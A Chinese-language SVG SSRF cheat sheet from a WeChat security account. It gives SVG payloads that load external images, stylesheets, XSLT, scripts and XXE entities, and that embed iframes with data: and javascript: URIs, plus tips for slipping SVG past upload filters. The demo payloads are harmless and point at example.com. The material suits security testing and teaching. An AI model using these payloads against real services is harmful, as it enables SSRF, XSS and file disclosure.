由于SVG的丰富功能集,处理SVG的主机可能容易受到SSRF、LFI、XSS、RCE的攻击。
所有这些方法都指定一个URI,它可以是绝对的或相对的。文件和HTTP协议对测试很重要,但它也可以支持其他协议,具体取决于实现(例如PHP流方案),包括javascript:和data:。
本文档包含我所知道的在SVG中滥用此功能的所有方式的列表。
请注意,一些声称不接受SVG作为输入格式的服务实际上需要一点哄骗。
-
对于上传,请发送JPEG/PNG mime类型和文件名。 -
对于下载,请提供JPEG/PNG文件名和MIME类型。如果被拒绝,请检查URL上的TOCTOU(双重提取)以及它是否遵循重定向。 -
我还没有看到它,但Mime嗅探混淆可能也是可能的Mime嗅探混淆因为SVG很难嗅探,因为它可以从额外的XML垃圾开始。事实上,AFAICT标准file命令不包含任何SVG魔法,因此它可能取决于各个实现。
Images
SVG可以直接通过标签包含外部图像<image>
。
<svg width="200" height="200"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="https://example.com/image.jpg" height="200" width="200"/>
</svg>
请注意,您也可以使用它来包含其他SVG图像。
标签<use>
SVG可以通过标签包含外部SVG内容<use>
。
文件 1.svg:
<svg width="200" height="200"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<use xlink:href="https://example.com/file2.svg#foo"/>
</svg>
文件 2.svg:
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<link xmlns="http://www.w3.org/1999/xhtml" rel="stylesheet" href="http://example.com/style.css" type="text/css"/>
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
CSS
CSS样式表<link>
SVG可以通过标签包含外部样式表<link>
,就像html一样。
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<link xmlns="http://www.w3.org/1999/xhtml" rel="stylesheet" href="http://example.com/style.css" type="text/css"/>
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
CSS样式表通过@include
<svg xmlns="http://www.w3.org/2000/svg">
<style>
@import url(http://example.com/style.css);
</style>
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
CSS样式表通过<?xml-stylesheet?>
<?xml-stylesheet href="http://example.com/style.css"?>
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
XSLT
SVG可以通过<?xml-stylesheet?>
.令人惊讶的是,这似乎在chrome中有效。
<?xml version="1.0" ?>
<?xml-stylesheet href="https://example.com/style.xsl" type="text/xsl" ?>
<svg width="10cm" height="5cm"
xmlns="http://www.w3.org/2000/svg">
<rect x="2cm" y="1cm" width="6cm" height="3cm"/>
</svg>
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns="http://www.w3.org/2000/svg"
xmlns:svg="http://www.w3.org/2000/svg">
<xsl:output
method="xml"
indent="yes"
standalone="no"
doctype-public="-//W3C//DTD SVG 1.1//EN"
doctype-system="http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"
media-type="image/svg" />
<xsl:template match="/svg:svg">
<svg width="10cm" height="5cm"
xmlns="http://www.w3.org/2000/svg">
<rect x="2cm" y="1cm" width="6cm" height="3cm" fill="red"/>
</svg>
</xsl:template>
</xsl:stylesheet>
注意:由于XSLT的性质,如果忽略xml样式表,输入实际上不必是有效的SVG文件,但绕过过滤器很有用。
另外,因为我对学习XSLT没有兴趣,所以这个模板只是用新图像完全替换了整个“旧”图像。
Javascript
Inline
SVG可以原生包含内联 javascript,就像HTML一样。
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
document.getElementById("foo").setAttribute("fill", "blue");
// ]]>
</script>
</svg>
外部的
SVG还可以包含外部脚本。
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo" o="foo"/>
<script src="http://example.com/script.js" type="text/javascript"/>
</svg>
事件内联
SVG还可以具有在加载时执行的内联事件处理程序。
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo" o="foo"/>
<image xlink:href="https://example.com/foo.jpg" height="200" width="200" onload="document.getElementById('foo').setAttribute('fill', 'blue');"/>
</svg>
您还可以将处理程序绑定到动画和其他一些事件。阅读SVG规范。
XXE
因为SVG是XML,它也可以有XXE:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" [
<!-- an internal subset can be embedded here -->
<!ENTITY xxe SYSTEM "https://example.com/foo.txt">
]>
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<text x="20" y="35">My &xxe;</text>
</svg>
foreignObject
标签<foreignObject>
太疯狂了。它可用于在SVG中包含任意(X)HTML。例如,要包含一个 iframe:
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="http://example.com/"/>
</foreignObject>
</svg>
如果您没有网络访问权限(例如沙箱),您可以将数据URI或javascript uri作为 iframe的目标:
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
k <iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
如果您没有足够的SVG,您还可以通过<object>
或<embed>
标签包含更多VG。我认为理论上可能也可以将Flash放在那里。
请注意,还因为您位于不同的XML名称空间中,所以仅剥离的任何内容svg:script
可能都没有剥离html:script
(或类似的属性)。
其他
如果您想这样做,可以包含外部字体,我认为可以通过CSS和本机属性来实现。这并不是很有用,因为出于某种原因我不太了解与字体资源的DRM相关的webfonts 需要CORS以防止热链接。我想有时会有字体引擎漏洞。
文本 这个来自SVG规范的示例显示使用tref节点通过URI引用文本,但是它似乎在我尝试过的任何查看器中都不起作用。如果有支持它的实现,它可能还支持tref中 href 的外部URI。
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="10cm" height="3cm" viewBox="0 0 1000 300"
xmlns="http://www.w3.org/2000/svg" version="1.1"
xmlns:xlink="http://www.w3.org/1999/xlink">
<defs>
<text id="ReferencedText">
Referenced character data
</text>
</defs>
<desc>Example tref01 - inline vs reference text content</desc>
<text x="100" y="100" font-size="45" fill="blue" >
Inline character data
</text>
<text x="100" y="200" font-size="45" fill="red" >
<tref xlink:href="#ReferencedText"/>
</text>
<!-- Show outline of canvas using 'rect' element -->
<rect x="1" y="1" width="998" height="298"
fill="none" stroke="blue" stroke-width="2" />
</svg>
原文始发于微信公众号(沐桉安全Mua):SSRF之SVG备忘单
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论